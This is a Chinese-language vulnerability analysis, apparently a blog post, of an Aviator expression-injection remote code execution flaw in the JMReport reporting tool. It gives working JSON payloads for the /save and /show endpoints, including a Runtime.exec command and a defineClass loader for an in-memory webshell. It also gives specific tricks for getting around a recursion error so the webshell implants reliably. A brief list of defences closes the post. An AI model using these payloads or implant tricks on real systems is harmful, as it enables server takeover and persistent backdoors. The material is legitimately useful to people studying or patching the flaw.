jmreport积木报表aviator注入报错分析
字数 1345 2025-08-24 07:48:23
JMReport积木报表Aviator注入漏洞分析与利用
0x00 漏洞概述
JMReport积木报表存在Aviator表达式注入漏洞,攻击者可以通过构造特定的JSON数据实现远程代码执行。该漏洞主要出现在报表的/show接口处理过程中,当解析特定格式的报表配置时,未对用户输入的表达式进行充分过滤,导致任意代码执行。
0x01 漏洞复现
基本POC结构
{
"excel_config_id": "c4ca4238a0b923820dcc509a6f758474",
"rows": {
"4": {
"cells": {
"4": {
"text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('injectSuperRegHandler',Base64Utils.decodeFromString('yyxxx'),ClassLoader.getSystemClassLoader()",
"style": 0
}
},
"height": 25
},
"len": 96
},
"styles": [
{
"align": "center"
}
],
"cols": {}
}
利用步骤
- 通过
/save接口保存恶意报表配置 - 通过
/show接口触发漏洞执行
0x02 漏洞分析
触发流程
show()方法通过ID读取JSON数据- 调用
ExpressUtil.a(json)处理JSON数据 - 创建
a实例并依次调用三个方法:this.c()this.a()this.b()
关键方法分析
c()方法
- 循环处理JSON键值对获取数据
- 使用正则匹配
text内容 - 如果以等号开头则调用
ExpressUtil.a(str,str,str)
ExpressUtil.a(str,str,str)
- 初始化大量类
- 最终调用
var4.a(b)进行正则匹配 - 匹配
text中的字符串如A123、BB1等格式 - 将这些字符串与0作为键值对通过
SetEnv()存入环境变量
a(map, str)方法
- 获取
Script对象和环境变量键名 - 遍历环境变量键名调用
this.b(str) b(str)方法将字母和数字分离并进行运算- 最终调用
ExpressUtil.a(b)触发表达式注入
0x03 内存马写入问题
报错原因
当尝试写入内存马时,可能出现java.lang.StackOverflowError错误,这与pattern正则匹配有关。具体原因:
- 在
a(map, str)方法中,如果var15不为null会再次调用this.a(map,str) - 当
this.b(str)计算结果为[4,4]时(即匹配到E5字符串) - 导致方法递归调用,进入死循环
触发条件
text中含有符合正则[A-Z]{1,2}[0-9]{1,3}的字符串(如E5)rows和cells的值与计算结果匹配(如rows=4,cells=4)
解决方案
- 对base64后的class数据进行URL编码
- 修改
rows或cells的值使其大于特定值:rows键名 > 701cells键名 > 998
- 避免在payload中使用
E5等特定字符串
0x04 漏洞利用技巧
计算器弹窗POC
{
"excel_config_id": "任意ID",
"rows": {
"4": {
"cells": {
"4": {
"text": "=(use java.lang.Runtime;Runtime.getRuntime().exec(\"calc\"))",
"style": 0
}
},
"height": 25
}
},
"styles": [{"align": "center"}],
"cols": {}
}
内存马写入注意事项
- 确保base64编码后的payload不包含
E5等触发字符串 - 可以使用以下结构避免递归:
{
"excel_config_id": "任意ID",
"rows": {
"999": { // 大于701的值
"cells": {
"999": { // 大于998的值
"text": "=(内存马payload)",
"style": 0
}
},
"height": 25
}
},
"styles": [{"align": "center"}],
"cols": {}
}
0x05 防御建议
- 对用户输入的表达式进行严格过滤
- 限制
rows和cells的数值范围 - 更新到最新版本,官方已发布修复补丁
- 对
/save和/show接口进行权限控制
0x06 总结
JMReport积木报表的Aviator注入漏洞通过精心构造的JSON数据可实现远程代码执行,在写入内存马时需要注意特定的字符串组合可能导致递归调用错误。通过调整payload结构或进行额外编码可以成功绕过这些限制实现稳定利用。